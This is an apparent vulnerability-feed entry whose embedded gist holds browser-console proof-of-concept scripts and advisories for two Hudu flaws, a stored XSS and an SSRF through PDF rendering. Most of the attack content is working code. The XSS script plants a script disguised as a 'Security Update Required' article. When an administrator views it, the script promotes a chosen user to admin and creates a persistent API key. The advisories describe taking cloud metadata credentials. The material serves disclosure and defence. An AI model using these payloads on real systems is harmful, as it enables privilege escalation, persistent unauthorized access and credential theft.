https://vulnerability.circl.lu/sightings/feed 2026-08-05T10:28:34.871466+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/edc9ec45-c639-44d1-8dfb-39715ac0d332/export 2026-08-05T10:28:34.886635+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "edc9ec45-c639-44d1-8dfb-39715ac0d332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36542", "type": "seen", "source": "https://gist.github.com/justinbrick/fad199753a9a4afbaddda05651a45d15", "content": "/**\n * Hudu CVE-2026-36541 PoC\n * While any particular payload could have been used, this just demonstrates with a visual UI that could be used to generate a\n * key if ran by an administrative user.\n */\n(async function() {\n const token = document.querySelector('meta[name=\"csrf-token\"]')?.content;\n const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace {kba_id} with the target article ID\n\n // 1. The HTML and Script Payload to be stored in the KBA\n const escalationPayload = `\n\n \nAdministrative Control Panel\n \n \n\n Target User ID:\n \n \n\n \n\n User Identity Details:\n \n \n \n \n\n \n\n Set Admin\n Set Editor\n \n\n \n\n \n Create Persistence API Key\n \n \n\n\n\n\n(function() {\n const getCsrf = () => document.querySelector('meta[name=\"csrf-token\"]')?.content || '';\n \n const updatePermissions = async (role) => {\n const id = document.getElementById('target_user_id').value;\n const status = document.getElementById('status_msg');\n \n if (!id) {\n alert('A Target User ID is required.');\n return;\n }\n\n const formData = new FormData();\n formData.append('_method', 'patch');\n formData.append('authenticity_token', getCsrf());\n formData.append('user[first_name]', document.getElementById('target_first_name').value);\n formData.append('user[last_name]', document.getElementById('target_last_name').value);\n formData.append('user[email]', document.getElementById('target_email').value);\n // Replicating the empty avatar fields \n formData.append('user[avatar]', ''); \n // Empty text field \n // Empty file field: name=\"user[avatar]\", filename=\"\", Content-Type: application/octet-stream \n formData.append('user[avatar]', new Blob([]), ''); \n formData.append('user[security_level]', role);\n // Replicating empty group and company IDs \n formData.append('user[group_id]', ''); \n formData.append('user[company_id]', '');\n formData.append('user[security_level]', role);\n formData.append('commit', 'Update');\n\n const res = await fetch('/admin/users/' + id, { method: 'POST', body: formData });\n \n status.style.display = 'block';\n status.style.background = res.ok ? '#d4edda' : '#f8d7da';\n status.style.color = res.ok ? '#155724' : '#721c24';\n status.innerText = res.ok ? 'Success: User ' + id + ' updated to ' + role : 'Error: Permission update failed.';\n };\n\n const generateKey = async () => {\n const btn = document.getElementById('btn_api');\n const status = document.getElementById('status_msg');\n \n const params = new URLSearchParams();\n params.append('authenticity_token', getCsrf());\n params.append('api_key[name]', 'CVE XSS KEY');\n params.append('api_key[magic_dash_scope]', 'false');\n params.append('api_key[company_id]', '');\n params.append('api_key[allowed_ips]', '');\n params.append('api_key[password_access]', '0');\n params.append('api_key[destructive_actions]', '0');\n params.append('api_key[export_permissions]', '0');\n params.append('commit', 'Create');\n\n const res = await fetch('/admin/api_keys', {\n method: 'POST',\n body: params,\n headers: { 'Content-Type': 'application/x-www-form-urlencoded' }\n });\n\n if (res.ok) {\n btn.disabled = true;\n btn.style.background = '#95a5a6';\n btn.style.cursor = 'default';\n btn.innerText = 'API Key Created';\n \n status.style.display = 'block';\n status.style.background = '#d1ecf1';\n status.style.color = '#0c5460';\n status.innerText = 'Confirmation: \"CVE XSS KEY\" generated for persistent access.';\n }\n };\n\n document.getElementById('btn_admin').onclick = () => updatePermissions('admin');\n document.getElementById('btn_editor').onclick = () => updatePermissions('editor');\n document.getElementById('btn_api').onclick = generateKey;\n})();\n<\\/script>\n`;\n\n // 2. Perform the Injection\n const formData = new URLSearchParams();\n formData.append('_method', 'patch');\n formData.append('authenticity_token', token);\n formData.append('article[name]', 'Security Update Required: Administrative Policy');\n formData.append('article[content]', escalationPayload);\n\n const response = await fetch(targetUrl, {\n method: 'POST',\n body: formData,\n headers: { 'Content-Type': 'application/x-www-form-urlencoded' }\n });\n\n if (response.ok) {\n console.log(\"Escalation panel successfully injected into KBA.\");\n } else {\n console.error(\"Injection failed. Status code:\", response.status);\n }\n})();\n\n\n# Security Advisory: Stored XSS Vulnerability on Hudu 2.39.6 via Un-sanitized Article Content\n\n**Date:** 2026-02-18\n\n**CVE ID:** CVE-2026-36541\n\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n**Severity: 8.0** (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)\n\n**Affected Versions:** Versions prior to [2.41.1](https://community.hudu.com/release-notes-9lbk0yii/post/hudu-version-2-41-1-ZigX4hAKHQDOrVw)\n\n## Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability exists within the Knowledge Base (KBA) article editor. The application fails to sanitize HTML input provided in the article[content] parameter during POST or PATCH requests. This allows an authorized user\u2014or an attacker with a hijacked session\u2014to persist malicious scripts within the database.\n\n## Technical Details\n\n- **Endpoint:** {client}.huducloud.com/kba/{kba_id}\n- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)\n- **Authentication Required:** Yes (User session or API key)\n\nThe vulnerability allows an authorized user to persist malicious scripts \nwithin the database due to the application's failure to sanitize HTML \ninput in the `article[content]` parameter.\n\n- **Persistent Threat:** Once an article is created, the malicious content remains active until it is programmatically removed.\n- **Administrative Risk:** A standard user cannot remove the malicious content through the web interface without first viewing and executing the script.\n- **Session Hijacking:** An attacker with a hijacked session can use these permissions to inject scripts that target other users, including administrators, to gain\npersistence or increase privilege.\n- **Lack of Filtration:** The application does not appear to filter HTML tags, including scripts or iframes, contained within the request contents.\n\n/**\n * Hudu CVE-2026-36542 PoC\n * Extracts the CSRF token and performs a PATCH request, to be ran in the console of a browser.\n * to inject an SSRF payload into a KBA article.\n */\n(async function() {\nconst token = document.querySelector('meta[name=\"csrf-token\"]')?.content;\nconst targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace with target ID\n\nconst formData = new URLSearchParams();\nformData.append('_method', 'patch');\nformData.append('authenticity_token', token);\nformData.append('article[name]', 'Test Article - SSRF Vulnerability');\nformData.append('article[content]', `\n\n\n var info = \"Platform: \" + navigator.platform + \"\\\\n\" + \n \"UserAgent: \" + navigator.userAgent + \"\\\\n\" + \n \"AppVersion: \" + navigator.appVersion;\n document.write(\"\n\" + info + \"\");\n<\\/script>\n`);\nformData.append('article[folder_id]', '');\n\nconst response = await fetch(targetUrl, {\nmethod: 'POST',\nbody: formData,\nheaders: { 'Content-Type': 'application/x-www-form-urlencoded' }\n});\n\nif (response.ok) {\nconsole.log(\"SSRF Payload injected successfully.\");\n} else {\nconsole.error(\"Injection failed with status:\", response.status);\n}\n})();\n\n\n# Security Advisory: SSRF Vulnerability on Hudu 2.39.6 from Un-sanitized PDF Parsing\n\n**Date:** 2026-02-18\n\n**CVE ID:** CVE-2026-36542\n\n**CWE:** CWE-918 Server-Side Request Forgery (SSRF)\n\n**Severity:** 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n**Affected Versions:** Versions prior to [2.41.1](https://community.hudu.com/release-notes-9lbk0yii/post/hudu-version-2-41-1-ZigX4hAKHQDOrVw)\n\n## Summary\n\nA vulnerability exists in the application's PDF generation service where un-sanitized HTML input is processed by the **wkhtmltopdf** rendering engine. This allows an attacker to execute arbitrary JavaScript within the server's context and perform Server-Side Request Forgery (SSRF). By targeting the internal DigitalOcean Metadata Service, it was possible to retrieve sensitive system configurations, internal network maps, and administrative credentials.\n\n## Technical Details\n\n**Endpoint:** {client}.huducloud.com/kba/{kba_id}/renders\n\nThe successful retrieval of `v1.json` from the internal DigitalOcean Metadata Service resulted in the disclosure of the following sensitive information:\n\n- **Infrastructure Identity:** Disclosure of Droplet ID, Hostname, and Region.\n- **Asset Leakage:** Identification of an associated S3 bucket within the tags.\n- **Credential Disclosure:** Retrieval of the Droplet auth_key and the administrator's SSH public key.\n- **Network Mapping:** Exposure of internal VPC IP addresses, gateways, and routing logic for 2 internal subnet ranges.", "creation_timestamp": "2026-07-01T19:37:03.754863Z"} 2026-07-01T19:37:03.754863+00:00